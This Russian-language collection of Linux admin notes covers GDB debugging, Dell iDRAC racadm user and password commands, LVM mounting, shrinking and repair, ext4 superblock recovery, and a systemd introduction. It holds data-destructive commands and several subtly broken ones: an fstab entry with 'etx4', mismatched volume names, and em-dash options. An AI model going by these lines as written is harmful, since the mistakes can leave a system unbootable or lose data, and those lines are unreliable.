заглянуть

В этом коротком туториале мы рассмотрим базовые приёмы работы с GDB, а также посмотрим как можно (и нужно) подготавливать файлы к отладке для GDB.

GDB — переносимый отладчик проекта GNU, который работает на многих UNIX-подобных системах и умеет производить отладку многих языков программирования, включая Си, C++, Free Pascal, FreeBASIC, Ada, Фортран, Python3, Swift, NASM и Rust.



GDB



Почему именно GDB? Всё легко, он уже установлен на многих UNIX-подобных системах, лёгок в использовании и поддерживает много языков. Работа с ним оказывается очень лёгкой, а также его можно подключить к VSCode и другим редакторам кода (Включая Vim, NeoVim (ясное дело), Emacs, Atom и далее)



Подготовка файлов



Для примера мы возьмём файлы .cpp и будем проходиться по ним вдоль и поперёк.

Для того чтобы нам пройтись по такому файлу нам нужно скомпилировать его с помощью G++ с использованием флага -g (это действительно важно, без этого флага, программа не будет корректно работать в GDB)



g++ -g file_name.cpp -o output_name
gdb output_name


Python-файл вы можете продебажить с помощью этой команды:



gdb -ex r --args python program_name.py <arguments>


Для Java вы просто можете использовать jdb, который уже идёт в комплекте c JDK.



Также, если вам не хочется компилировать всё ручками, вы можете просто использовать сайт OnlineGDB, там просто нужно вставить код и нажать debug, а затем внизу откроется консоль, где вы сможете писать команды



Использование GDB



Как только мы зашли в GDB нам выводится следующее сообщение:



GNU gdb (Ubuntu 8.1-0ubuntu3) 8.1.0.20180409-git
Copyright (C) 2018 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from 3_Hero's_Inventory.cpp...done.


Последняя строка говорит о том, нормально ли запустился файл

Теперь нужно посмотреть, где в нашем файле точка вхождения (строка, откуда наша программа начинает свою работу), в случае cpp это метод main(). Находим эту строку c помощью команды list и вписываем, какая она идёт по счёту с буквой b (также можно просто указать имя функции b main тоже работает):



(gdb) list
1   #include <iostream>
2   #include <string>
3   
4   using namespace std;
5   
6   int main(int argc, char *argv[])
7   {
8       // Hero's Inventory - скрипт, где мы имитируем инвентарь игрока
9   
10      const int MAX_ITEMS = 10; // Задаём константу, максимум по инвентарю игрока


(gdb) b 6
Breakpoint 1 at 0xcb5: file ./3_Hero's_Inventory.cpp, line 6.


Далее запускаем программу с помощью комманды r:



(gdb) r
Starting program: /home/username77177/gitprojects/learning/cpp/build_folder/3_Hero's_Inventory.cpp 

Breakpoint 1, main (argc=1, argv=0x7fffffffdd18) at ./3_Hero's_Inventory.cpp:7
7   {


Для того, чтобы посмотреть на какой мы сейчас строке, нужно написать f:



(gdb) f
#0  main (argc=1, argv=0x7fffffffdd18) at ./3_Hero's_Inventory.cpp:14
14      items[itemnum++] = "Sword";


Для того, чтобы сделать шаг, нужно нажать n (от слова next):



(gdb) n
10      const int MAX_ITEMS = 10; // Задаём константу, максимум по инвентарю игрока


Как мы видим GDB сразу пропускает пустые строки (или строки с комментариями) и переходит к следующей строке.

Предположим, что у нас есть функция, при нажатии n наш отладчик быстро пройдет функцию, не заходя в неё, чтобы зайти в функцию нужно сделать "шаг внутрь" (step-in) или просто клавиша s:



(gdb) s
11      string items[MAX_ITEMS]; // Создаём массив из строк c 10 элементами


(В примере нет функции, однако шаг step-in все равно будет работать и с обычными инициализациями, условиями и циклами)



Чтобы узнать какие переменные (локальные) сейчас инициализированны в программе нужно написать комманду info locals:



(gdb) info locals
MAX_ITEMS = 10
items = {"", "", "", "", "", "", "", "", "", ""}
itemnum = 0
game = 247


Чтобы вывести только одну переменную, нужно написать print имя_переменной:



(gdb) print MAX_ITEMS 
$1 = 10


Мы можем также изменить переменную с помощью set:



(gdb) set x = 77177
(gdb) print x
$1 = 77177


Мы можем также следить за переменными с помощью watch:



watch x


Также, если нужно можно посмотреть что в данный момент находится в регистрах (info registers):



(gdb) info registers 
rax            0x7fffffffdc00   140737488346112
rbx            0xffffffffffffffff   -1
rcx            0xa0 160
rdx            0x7fffffffdd28   140737488346408
rsi            0x7fffffffdd18   140737488346392
rdi            0x7fffffffdbf0   140737488346096
rbp            0x7fffffffdc30   0x7fffffffdc30
rsp            0x7fffffffdab0   0x7fffffffdab0
r8             0x7ffff782fd80   140737345944960
r9             0x0  0
r10            0x6  6
r11            0x7ffff7b77020   140737349382176
r12            0x7fffffffdc10   140737488346128
r13            0x7fffffffdd10   140737488346384
r14            0x0  0
r15            0x0  0
rip            0x555555554cfe   0x555555554cfe <main(int, char**)+100>
eflags         0x286    [ PF SF IF ]
cs             0x33 51
ss             0x2b 43
ds             0x0  0
es             0x0  0
fs             0x0  0
gs             0x0  0


Чтобы посмотреть какие в данный момент есть breakpoints (точки останова) нужно написать info breakpoints:



(gdb) info breakpoints 
Num     Type           Disp Enb Address            What
1       breakpoint     keep y   0x0000555555554cb5 in main(int, char**) 
                                                   at ./3_Hero's_Inventory.cpp:6
    breakpoint already hit 1 time
2       breakpoint     keep y   0x0000555555554cfe in main(int, char**) 
                                                   at ./3_Hero's_Inventory.cpp:14


Чтобы удалить точку останова del breakpoint_num:



(gdb) info breakpoints 
Num     Type           Disp Enb Address            What
1       breakpoint     keep y   0x0000555555554cb5 in main(int, char**) 
                                                   at ./3_Hero's_Inventory.cpp:6
    breakpoint already hit 1 time
2       breakpoint     keep y   0x0000555555554cfe in main(int, char**) 
                                                   at ./3_Hero's_Inventory.cpp:14

(gdb) del 1

(gdb) info breakpoints 
Num     Type           Disp Enb Address            What
2       breakpoint     keep y   0x0000555555554cfe in main(int, char**) 
                                                   at ./3_Hero's_Inventory.cpp:14


Чтобы прыгнуть к следующей точке останова нужно нажать c:



(gdb) r
Starting program: /home/username77177/gitprojects/learning/cpp/build_folder/3_Hero's_Inventory.cpp 

Breakpoint 3, main (argc=1, argv=0x7fffffffdd18) at ./3_Hero's_Inventory.cpp:7
7   {
(gdb) c
Continuing.

Breakpoint 2, main (argc=1, argv=0x7fffffffdd18) at ./3_Hero's_Inventory.cpp:14
14      items[itemnum++] = "Sword";


Мы можем вызывать функции из программы (локальные) с помощью call:



(gdb) call MyFunction()


Чтобы продолжить выполнение функции и остановить программу когда она (функция) завершится нужно написать finish или fin:



(gdb) fin


Стоит уточнить, что нельзя использовать finish в главном методе.



Чтобы завершить выполнение программы, нужно написать kill:



(gdb) kill
Kill the program being debugged? (y or n) y


Также можно написать help в любой момент и получить краткую справку, как пользоваться отладчиком



(gdb) help
List of classes of commands:

aliases -- Aliases of other commands
breakpoints -- Making program stop at certain points
data -- Examining data
files -- Specifying and examining files
internals -- Maintenance commands
obscure -- Obscure features
running -- Running the program
stack -- Examining the stack
status -- Status inquiries
support -- Support facilities
tracepoints -- Tracing of program execution without stopping the program
user-defined -- User-defined commands

Type "help" followed by a class name for a list of commands in that class.
Type "help all" for the list of all commands.
Type "help" followed by command name for full documentation.
Type "apropos word" to search for commands related to "word".
Command name abbreviations are allowed if unambiguous.

взято тут
Памятка по отладке при помощи GDB
Знакомство с отладчиком gdb
Отладка с помощью GDB Отладчик GNU уровня исходного кода

https://gist.github.com/andrewspiers/10225981
racadm getconfig -g idRacInfo
racadm getconfig -g cfgUserAdmin -i 2


https://www.dell.com/community/Blades/Changing-root-user-password-from-calvin-CLI/td-p/3820129
Чтобы добавить нового пользователя в iDRAC6, выполните следующие действия:
1 Установите имя пользователя.
2 Установите пароль.
3 Установите для входа в систему права пользователя iDRAC6.
4 Включите пользователя.

racadm config -g cfgUserAdmin -o cfgUserAdminUserName -i 2 пользователь
racadm config -g cfgUserAdmin -o cfgUserAdminPassword -i 2 пароль
racadm config -g cfgUserAdmin -o cfgUserAdminPrivilege -i 2 0x000001ff
racadm config -g cfgUserAdmin -o cfgUserAdminPrivilege -i 2 0x00000001 (это только на чтение)
racadm config -g cfgUserAdmin -o cfgUserAdminEnable -i 2 1
racadm getconfig -u пользователь
racadm getconfig –g cfgUserAdmin –i 2

racadm getconfig -g idRacInfo
racadm config -g cfgUserAdmin -o cfgUserAdminPassword -i 2 пароль

В DRAC 4 первый слот индекса является корневым по умолчанию. В DRAC 5 и 6 индекс 1 является администратором , индекс 2 является корневым .
iDRAC 4:
racadm getconfig -g cfgUserAdmin -i 1

iDRAC 5 и 6:
racadm getconfig -g cfgUserAdmin -i 2


Изменение пароля для входа в систему по умолчанию с помощью RACADM
racadm set iDRAC.Users..Password

Dell PowerEdge: что такое имя пользователя и пароль по умолчанию для iDRAC?

сброс пароля с восстановлением «заводских настроек по умолчанию», выполнив команду racadm:
racadm racresetcfg -all

Сброс настроек внутреннего контроллера удаленного доступа Dell (iDRAC) на сервере PowerEdge



Монтирование LVM-based томов (LVM-in-LVM)
Задача:
добраться до данных в этих разделах с родительской машины.

Дано:
виртуальная машина на LVM-разделе /dev/mapper/vol-centos1
внутри неё имеются разделы /boot, / и swap, причем / и swap на LVM

для начала посмотрим что из себя представляет /dev/mapper/vol-centos1:
# kpartx -l /dev/mapper/vol-centos1
vol-centos1p1: 0 1024000 /dev/loop0 2048
vol-centos1p2: 0 15751168 /dev/loop0 1026048
и замяпим разделы:
# kpartx -a /dev/mapper/vol-centos1
после этого в /dev/mapper у нас появятся два раздела
vol-centos1p1 vol-centos1p2

Первый раздел vol-centos1p1 (/boot) нас не интересует, мы можем его хоть сейчас примонтировать. Нас интересует второй раздел vol-centos1p2, в котором находятся / и swap.
просканируем и увидем LVM-тома:
# lvm pvscan
PV /dev/mapper/vol-centos1p2 VG VolGroup lvm2 [7.51 GiB / 0 free]
Total: 1 [7.51 GiB] / in use: 1 [7.51 GiB] / in no VG: 0 [0 ]

теперь нам необходимо активировать LVM-тома, что бы добраться до них, делаем:
# lvm vgchange -a y
2 logical volume(s) in volume group «VolGroup» now active

в /dev/mapper появятся еще два раздела
vol-centos1p1 vol-centos1p2 VolGroup-lv_root VolGroup-lv_swap

вот теперь мы спокойно можем примонтировать раздел VolGroup-lv_root и удобно работать с ним:
# mount /dev/mapper/VolGroup-lv_root /mnt

После работы, надо все вернуть на круги своя.
отмонтируем # umount /dev/mapper/VolGroup-lv_root
деактивируем LVM-тома # lvm vgchange -a n VolGroup
удаляем маппинг # kpartx -d /dev/mapper/vol-centos1

Монтирование LVM томов (CentOS)
root@debian:~# fdisk -l /dev/sda
Disk /dev/sda: 6 GiB, 6442450944 bytes, 12582912 sectors
Disk model: QEMU HARDDISK
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0x000c434c

Device Boot Start End Sectors Size Id Type
/dev/sda1 * 2048 2099199 2097152 1G 83 Linux
/dev/sda2 2099200 12582911 10483712 5G 8e Linux LVM

диск обычный
root@debian:~# parted /dev/sda1 print
Model: Unknown (unknown)
Disk /dev/sda1: 1074MB
Sector size (logical/physical): 512B/512B
Partition Table: loop
Disk Flags:

Number Start End Size File system Flags
1 0,00B 1074MB 1074MB xfs

диск с LVM
root@debian:~# parted /dev/sda2 print
Error: /dev/sda2: unrecognised disk label
Model: Unknown (unknown)
Disk /dev/sda2: 5368MB
Sector size (logical/physical): 512B/512B
Partition Table: unknown
Disk Flags:

Если вы попытаетесь смонтировать LVM так же, как вы это делаете с другими стандартными разделами Linux, у вас ничего не получится.

root@debian:~# mount /dev/sda2 /mnt
mount: /mnt: unknown filesystem type 'LVM2_member'.

Чтобы смонтировать раздел, сначала определите группу томов, содержащуюся в /dev/sda2:

root@debian:~# lvm pvscan
PV /dev/sda2 VG centos lvm2 [<5,00 GiB / 0 free]
Total: 1 [<5,00 GiB] / in use: 1 [<5,00 GiB] / in no VG: 0 [0 ]

root@debian:~# vgscan
Reading volume groups from cache.
Found volume group "centos" using metadata type lvm2

root@debian:~# lvscan
inactive '/dev/centos/swap' [616,00 MiB] inherit
inactive '/dev/centos/root' [4,39 GiB] inherit

root@debian:~# pvs
PV VG Fmt Attr PSize PFree
/dev/sda2 centos lvm2 a-- <5,00g 0

root@debian:~# lvdisplay /dev/centos
--- Logical volume ---
LV Path /dev/centos/swap
LV Name swap
VG Name centos
LV UUID wjDWlO-4ipJ-8w3g-xx7v-AvaS-lk8s-duwIiG
LV Write Access read/write
LV Creation host, time localhost, 2018-08-12 11:47:26 +0000
LV Status available
# open 0
LV Size 616,00 MiB
Current LE 154
Segments 1
Allocation inherit
Read ahead sectors auto
- currently set to 256
Block device 254:0

--- Logical volume ---
LV Path /dev/centos/root
LV Name root
VG Name centos
LV UUID c2DUKp-zXmb-ecIO-R26b-m477-3NXc-6dPwz8
LV Write Access read/write
LV Creation host, time localhost, 2018-08-12 11:47:26 +0000
LV Status available
# open 0
LV Size 4,39 GiB
Current LE 1125
Segments 1
Allocation inherit
Read ahead sectors auto
- currently set to 256
Block device 254:1


необходимо активировать LVM-тома, что бы добраться до них
root@debian:~# lvm vgchange -a y
2 logical volume(s) in volume group "centos" now active

проверяю
root@debian:~# ls /dev/mapper/
centos-root centos-swap control

swap мне не нужен, монтирую /dev/centos/root
root@debian:~# mount /dev/centos/root /mnt

после работы нужно не забыть отмонтировать
root@debian:~# umount /dev/centos/root

деактивируем LVM-тома
root@debian:~# lvm vgchange -a n centos
0 logical volume(s) in volume group "centos" now active
root@debian:~# ls /dev/mapper/
control


Изменение размера дисков LVM
http://xgu.ru/wiki/LVM
https://github.com/storaged-project/blivet-gui/wiki
Уменьшение виртуального диска с LVM
Как использовать LVM для управления устройствами хранения в Ubuntu 18.04
Как я могу изменить размер раздела LVM? (то есть: физический объем)
Как уменьшить корневой раздел XFS на LVM
Linux: LVM — уменьшить home, увеличить root
Расширение диска на Linux (LVM, классическая разметка)
Повесть о Linux и LVM (Logical Volume Manager).
КАК УВЕЛИЧИТЬ LVM РАЗДЕЛ В CENTOS 7
Как увеличить LVM раздел в CentOS 7
Расширение LVM диска (без изменения его структуры)
Изменение размера дисков LVM


Уменьшение размера раздела диска в Linux
Статья содержит информацию о способе уменьшения размера раздела диска, созданного посредством системы управления томами LVM и отформатированного в файловую систему ext4
Замечание: строго говоря, во всем запускаемых далее утилитах используется одна и та же единица измерения — «мебибайт» (за исключением «parted», использующей «мегабайт»), которую, тем не менее, мы по привычке будем называть «мегабайт»

  • скачиваем загрузочный диск Gparted, выполняем с него загрузку системы и запускаем утилиту «Terminal»

  • определяем имя интересующего нас логического раздела LVM (параметр «LV Path»)

  • sudo lvdisplay

  • подключаем раздел

  • sudo mount /dev/some-vg/root /mnt

  • просматриваем объем занятого пространства файловой системы раздела

  • sudo df -h

  • отключаем раздел

  • sudo umount /dev/some-vg/root

  • проверяем файловую систему

  • sudo e2fsck -vf /dev/some-vg/root

    Замечание: v — вывод подробных сообщений, f — выполнить проверку, даже если файловая система помечена, как не содержащая ошибок

  • уменьшаем размер файловой системы
    sudo resize2fs -p /dev/some-vg/root 3000M

    Замечание: p — отображать прогресс выполнения каждого этапа

  • уменьшаем размер раздела; в качестве нового размера указываем РАЗМЕР_ФАЙЛОВОЙ_СИСТЕМЫ + 1

  • lvreduce /dev/some-vg/root —size 3001M

  • проверяем, что в процессе уменьшения размера раздела никакие данные не были повреждены; для этого пробуем увеличить размер файловой системы до максимально возможного, в результате чего он должен вырасти на 1 МБ

  • sudo resize2fs /dev/some-vg/root

  • определяем имя интересующего нас физического раздела LVM (параметр «PV Name»)

  • sudo pvdisplay

  • выводим информацию о распределении выделенных физических областей по разделу

  • sudo pvs —verbose —segments /dev/sda5

  • перемещаем выделенные физические области так, чтобы между ними не было свободного пространства

  • sudo pvmove —alloc anywhere /dev/sda5:2370-2497

  • уменьшаем размер раздела; в качестве нового размера указываем ОБЪЕМ_ЗАНЯТЫХ_ОБЛАСТЕЙ (параметр «Allocated PE») * РАЗМЕР_ОБЛАСТИ (параметр «PE Size») + 1

  • sudo pvresize /dev/sda5 —setphysicalvolumesize 3517M

    Замечание: если указать слишком маленькое значение, ничего страшного не произойдет — утилита просто сообщит, что новый размер меньше объема занятого пространства

  • запускаем parted для интересующего нас диска

  • sudo parted /dev/sda

  • устанавливаем в качестве единиц измерения по умолчанию — мебибайты

  • unit MiB

  • просматриваем таблицу разделов

  • print free

  • уменьшаем размер логического раздела, при этом конец раздела вычисляем так: НАЧАЛО_РАСШИРЕННОГО_РАЗДЕЛА + ОБЪЕМ_ЗАНЯТЫХ_ОБЛАСТЕЙ * РАЗМЕР_ОБЛАСТИ + ОБЪЕМ_НЕИСПОЛЬЗУЕМОГО_ПРОСТРАНСТВА (параметр «PV Size» после знака «/») + 2

  • resizepart 5 3764MiB

    Замечание: перед выполнением операции нужно повторно просмотреть объем неиспользуемого пространства физического раздела LVM

  • проверяем, что в процессе уменьшения размера раздела никакие данные не были повреждены; для этого пробуем увеличить размер физического раздела LVM до максимально возможного, в результате чего объем неиспользуемого пространства должен вырасти на 1МБ

  • sudo pvresize /dev/sda5

  • уменьшаем размер расширенного раздела до размера логического раздела

  • resizepart 2 3764MiB


Уменьшение размера LVM раздела в Centos

Решение

Перед изменением размера раздела его необходимо отмонтировать, но
учитывая что редактировать нам надо корневой раздел, лучше загрузится с
LiveCD/LiveDVD или с установочного диска в режиме rescue (для этого выбрать соответствующий пункт меню загрузки с диска).

При работе с rescue-диска, к командам LVM надо впереди добавять lvm, либо выполнять их из встроенного интерпретатора lvm:


# lvm pvs
либо
# lvm
lvm> pvs

Проверяем, определился или нет, системой наша LVM группа.


# pvs
  PV         VG         Fmt  Attr PSize   PFree  
  /dev/sda1  VolGroup   lvm2 a-   100,00g      0

# vgs
  VG         #PV #LV #SN Attr   VSize   VFree  
  VolGroup   1   2   0   wz--n- 100,00g      0

# lvs
  LV         VG         Attr   LSize   Origin Snap%  Move Log Copy%  Convert
  lv_root    VolGroup   -wi-a-  98,00g
  lv_swap    VolGroup   -wi-a-   2,00g

lvreduce урезает размер LVM раздела. Работает она
следующим образом, параметр -L указывает на изменение размера раздела,
здесь же есть 2 варианта: указание размера и относительное значение, со
знаком + или -. Например, -L 83G урежет размер до 83G(то бишь lvm_root станет 83Gb вместо 98Gb), соответственно -L -15G или -L +15G уменьшит или увеличит размер на указанный (lvm_root станет 98G минус 15G или 98G плюс 15G).

Итак, нам надо уменьшить размер раздела следующей командой:


# lvreduce -r -L -15G /dev/Volgroup/lv_root



Наличие опции -r указывает, что надо также изменить размер файловой системы, без неё данные будут утеряны.


Успешность выполнения команды lvreduce проверяется просмотром свободного места в VolGroup.


# vgs

Свободного места должно быть 83G.




Создаём новый раздел для директории home


 lvcreate -L 83GB -n lv_home VolGroup 

и файловую систему на нём.


 mkfs.ext4 -L home /dev/VolGroup/lvm_home

Добавляем запись о разделе в файл /etc/fstab


 /dev/VolGroup/lvm_home  /home   etx4 defaults 1 2 



Перенести всю информацию из директории /home относительно
раздела / (корневого раздела) в /home вновь созданого раздела (он будет
пустой, если не считать системной директории lost+found)



Для этого:


  • создаём папки к которым будут смотрированы разделы

mkdir /mnt/{root,home}

  • монтируем

mount -t ext4 /dev/VolGroup/lv_root /mnt/root
mount -t ext4 /dev/VolGroup/lv_home /mnt/home

  • перемещаем информацию

mv -v /mnt/root/home /mnt/home

загружаем нашу ОС и проверяем логические разделы LVM


lvdisplay
  --- Logical volume ---
  LV Name                /dev/VolGroup/lv_root
  VG Name                VolGroup
       .....
  LV Size                15,00 GiB
       .....
   
  --- Logical volume ---
  LV Name                /dev/VolGroup/lv_home
  VG Name                VolGroup
       .....
  LV Size                83,00 GiB
       .....
   
  --- Logical volume ---
  LV Name                /dev/VolGroup/lv_swap
  VG Name                VolGroup
       .....
  LV Size                2,00 GiB









отремонтировать диск LVM
Как отремонтировать диск LVM с помощью fsck

1. Проверка и исправление диска LVM без шифрования с помощью fdisk
Для проверки LVM используйте следующие шаги.
Для начала проверяем разметку дисков с lsblk:

lsblk

Пример вывода:
NAME                 MAJ:MIN RM   SIZE RO TYPE  MOUNTPOINT
sda                    8:0    0    20G  0 disk  
└─sda1                 8:1    0    20G  0 part  
  └─xubuntu--vg-root 253:0    0    19G  0 lvm   / 
sr0                   11:0    1  1024M  0 rom

Как можно увидеть, LVM назван xubuntu--vg-root, но мы не можем запустить fsck на это имя, так как команда не найдёт его. Нам нужно получить полное имя, для этого нужно запустить команду lvm lvscan для получения LV имени с которым мы можем запустить fsck на LVM.

Следующая команда должна запускаться с повышенными правами (с sudo или как root):

lvscan

Пример вывода:
inactive          '/dev/xubuntu-vg/root' [<19.04 GiB] inherit
inactive          '/dev/xubuntu-vg/swap_1' [980.00 MiB] inherit

Как можно увидеть, имя диска который нужно проверить на ошибки это /dev/xubuntu-vg/root, оно должно подойти для запуска fsck на этом имя.
Если /dev/xubuntu-vg/root не ACTIVE, нужно сделать его активным чтобы мы могли запустить его проверку.

lvchange -ay /dev/xubuntu-vg/root

Теперь это должно выглядеть примерно так:

sudo lvscan
  ACTIVE            '/dev/xubuntu-vg/root' [<19.04 GiB] inherit
  inactive          '/dev/xubuntu-vg/swap_1' [980.00 MiB] inherit

Теперь можно запустить fsck для проверку тома LVM:

fsck /dev/xubuntu-vg/root

или запустить форсированную проверку с автоматическим исправлением ошибок:

fsck -fy /dev/xubuntu-vg/root

2. Исправление LVM с шифрованием
Поиск корневого раздела:
sudo fdisk -l

Расшифровываем раздел.
sudo cryptsetup open --type luks /dev/nvme0n1p3 nvme0n1p3_crypt

Внимание: замените /dev/nvme0n1p3 на ваш собственный диск
замените "nvme0n1p3_crypt" на корректное имя раздела для вашей установки, вы можете его узнать запустив следующее в chroot:
cat /etc/crypttab | cut -f1 -d " "

Пример вывода:
nvme0n1p3_crypt

Монтирование корневого раздела
sudo vgscan
sudo vgchange -ay
sudo mount /dev/mapper/xubuntu--vg-root /mnt

Подготовка окружения chroot:
sudo mount /dev/nvme0n1p2 /mnt/boot/ # замените nvme0n1p2 на ваш загрузочный раздел!
sudo mount -o rbind /dev/ /mnt/dev/
sudo mount -t proc proc /mnt/proc/
sudo mount -t sysfs sys /mnt/sys/

Делаем так, чтобы в chroot работал DNS:
sudo cp /etc/resolv.conf /mnt/etc/resolv.conf

Входим в chroot:
sudo chroot /mnt /bin/bash

Переустанавливаем отсутствующие пакеты:
apt install cryptsetup lvm2

Заново генерируем (это может быть выполнено командой apt на предыдущем шаге — если это уже было сделано, то пропустите):
update-initramfs -u -k all

Покидаем среду chroot:
exit

Записываем буфер на диск:
sudo sync

Размонтируем файловые системы:
sudo umount /mnt/sys
sudo umount /mnt/proc
sudo umount /mnt/boot






Недавно при включении компьютера, Ubuntu меня "порадовала" тем, что решила не загружаться и "свалилась" в busybox в момент инициализации пользовательского пространства (userspace) оно же initramfs. Немного ошарашенный начал разбираться. Оказалось, что мой старенький жёсткий диск дал небольшой сбой, и подпортил суперблок файловой системы. Впрочем, оказалось что это не смертельно, и проблема эта, довольно просто и быстро решается.

Суперблок - это часть на диске, отведенная под служебную информацию файловой системы. В нем хранится информация о разделе: тип файловой системы, размер, статус и информацию о других структурах метаданных. В случае потери информации с суперблока, велик риск потерять всю информацию с раздела. Поэтому Linux хранит несколько копий этой информации - т.е. несколько суперблоков.

Перед тем, как продолжить, я должен предупредить, что не обязательна причина в суперблоке. Такая проблема может возникать и по другим причинам, установить которые можно только имея определенный опыт, либо опытным путем. В любом случае, вся суть проводимых ниже действия, лишь в проверке диска на ошибки, поэтому как минимум ничем не повредит.

Для восстановления нам понадобится загрузочный диск или флэшка с Linux. Загружаемся, и запускаем терминал. В терминале пишем:

sudo fdisk -l|grep Linux|grep -Ev 'swap'

В результате выполнения команды, будет выведен список всех разделов:

/dev/sda2       371306496 976771071 605464576 288.7G 83 Linux

В моем случае это был один раздел. В этом списке нужно найти нужный раздел, и запомнить его. Он понадобится нам дальше. Далее посмотрим список доступных запасных суперблоков:

sudo dumpe2fs /dev/sda2 | grep superblock

В команде выше, /dev/sda2 необходимо заменить на полученный ранее, нужный раздел. В результате выполнения команды, будет выведен список всех суперблоков:

Primary superblock at 0, Group descriptors at 1-19
Backup superblock at 32768, Group descriptors at 32769-32787
Backup superblock at 98304, Group descriptors at 98305-98323
Backup superblock at 163840, Group descriptors at 163841-163859
Backup superblock at 229376, Group descriptors at 229377-229395
Backup superblock at 294912, Group descriptors at 294913-294931
Backup superblock at 819200, Group descriptors at 819201-819219
Backup superblock at 884736, Group descriptors at 884737-884755
Backup superblock at 1605632, Group descriptors at 1605633-1605651
Backup superblock at 2654208, Group descriptors at 2654209-2654227
Backup superblock at 4096000, Group descriptors at 4096001-4096019
Backup superblock at 7962624, Group descriptors at 7962625-7962643
Backup superblock at 11239424, Group descriptors at 11239425-11239443
Backup superblock at 20480000, Group descriptors at 20480001-20480019
Backup superblock at 23887872, Group descriptors at 23887873-23887891
Backup superblock at 71663616, Group descriptors at 71663617-71663635

Из списка запасных суперблоков, выбираем любой кроме Primary и запускаем проверку диска с указанием запасного суперблока:

sudo fsck -b 32768 /dev/sda2 -y

Параметр -y необходим для того, чтобы fsck не спрашивал что делать с каждой найденной ошибкой, а вместо этого ее автоматически исправлял если это возможно. После того, как fsck закончит, результат выполнения будет примерно таким:

fsck 1.40.2 (23-March-2016)
e2fsck 1.40.2 (23-March-2016)
/dev/sda2 was not cleanly unmounted, check forced.
Pass 1: Checking inodes, blocks, and sizes
Pass 2: Checking directory structure
Pass 3: Checking directory connectivity
Pass 4: Checking reference counts
Pass 5: Checking group summary information
Free blocks count wrong for group #241 (32254, counted=32253).
Fix? yes
Free blocks count wrong for group #362 (32254, counted=32248).
Fix? yes
Free blocks count wrong for group #368 (32254, counted=27774).
Fix? yes
..........
/dev/sda2: ***** FILE SYSTEM WAS MODIFIED *****
/dev/sda2: 59586/605464576 files (0.6% non-contiguous), 3604682/605464576 blocks

После этого перезагружаемся, отключаем флэшку/вынимаем диск из привода, и всё должно работать. :)



https://the-bosha.ru/2016/03/25/vosstanavlivaem-svalivshiysya-v-busybox-iz-za-oshibki-initramfs-linux/
https://askubuntu.com/questions/137655/boot-drops-to-a-initramfs-prompts-busybox)
https://serverfault.com/questions/375090/using-fsck-to-check-and-repair-luks-encrypted-disk

Systemd – менеджер системы и сервисов в операционной системе Linux. При разработке eго стремились спроектировать обратно совместимым со скриптами инициализации SysV init и предоставить полезные функции, такие, как параллельный запуск системных сервисов во время загрузки, активацию демонов по требованию, поддержку снепшотов состояния системы и логику управления сервисами, основанную на зависимостях. В CentOS 7 systemd заменяет Upstart как систему инициализации по умолчанию.


В этой статье мы рассмотрим процесс управления сервисами в systemd для пользователя CentOS 7. Эти знания будут полезны и в других дистрибутивах, ведь systemd уже давно используется в Fedora и планируется в Ubuntu 14.10 и Debian 8. Хорошо это или нет — оставим за кадром.



CentOS 7 Systemd Infobox

В процессе чтения статьи вы можете попробовать systemd на классических VPS и облачных VPS от Infobox. Мы стремимся своевременно добавлять поддержку современных ОС, чтобы вы могли использовать последние технологии для более эффективной работы. Сама идея написания статьи родилась после очередного вопроса пользователей об использовании сервисов в CentOS 7. Типичный вопрос: «Как добавить мой сервис в автозагрузку CentOS 7?». На этот и другие вопросы постараемся дать ответ в этой статье.



Введение

Systemd приносит концепцию юнитов systemd. Юниты представлены конфигурационными файлами, размещенными в одной из директорий:

  • /usr/lib/systemd/system/ – юниты из установленных пакетов RPM.
  • /run/systemd/system/ — юниты, созданные в рантайме. Этот каталог приоритетнее каталога с установленными юнитами из пакетов.
  • /etc/systemd/system/ — юниты, созданные и управляемые системным администратором. Этот каталог приоритетнее каталога юнитов, созданных в рантайме.


Юниты содержат информацию о системных сервисах, прослушиваемых сокетах, сохраненных снапшотах состояний системы и других обьектах, относящихся к системе инициализации.



Типы юнитов systemd:

  • .service – системный сервис
  • .target — группа юнитов systemd
  • .automount – точка автомонтирования файловой системы
  • .device – файл устройства, распознанного ядром
  • .mount – точка монтирования файловой системы
  • .path – файл или директория в файловой системе
  • .scope – процесс, созданный извне
  • .slice – группа иерархически организованных юнитов, управляющая системными процессами
  • .snapshot – сохраненное состояние менеджера systemd
  • .socket – сокет межпроцессного взаимодействия
  • .swap – Свап-устройство или свап-файл (файл подкачки)
  • .timer – таймер systemd


Основные функции systemd в CentOS 7

  • Активация, основанная на сокетах. Во время загрузки systemd прослушивает сокеты для всех системных сервисов, поддерживает этот тип активации и передает сокеты этим сервисам сразу после старта сервисов. Это позволяет systemd не только запускать сервисы параллельно, но также дает возможность перезапускать сервисы без потери любых отправленных им сообщений, пока сервисы были недоступны. Соответствующий сокет остается доступным и все сообщения выстраиваются в очередь.
  • Активация, основанная на D-Bus. Системные сервисы, использующие D–Bus для межпроцессного взаимодействия, могут быть запущены по требованию, когда клиентское приложение пытается связаться с ними.
  • Активация, основанная на девайсах. Системные сервисы, поддерживающие активацию, основанную на девайсах, могут быть запущены, когда определенный тип оборудования подключается или становится доступным.
  • Активация, основанная на путях. Системные сервисы могут поддерживать этот вид активации, если изменяется состояние папки или директории.
  • Снепшоты системных состояний. Система может сохранять состояние всех юнитов и восстанавливать предыдущее состояние системы.
  • Управление точками монтирования и автомонтирования. Systemd отслеживает и управляет точками монтирования и автомонтирования.
  • Агрессивная параллелизация Systemd запускает системные сервисы параллельно из-за использования активации, основанной на сокетах. В комбинации с сервисами, поддерживающими активацию по требованию, параллельная активация значительно уменьшает время загрузки системы.
  • Транзакционная логика активации юнитов. До активации и деактивации юнитов systemd вычисляет их зависимости, создает временную транзакцию и проверяет целостность этой транзакции. Если транзакция нецелостная, systemd автоматически пытается исправить ее и удалить не требующиеся задания из нее до формирования сообщения об ошибке.
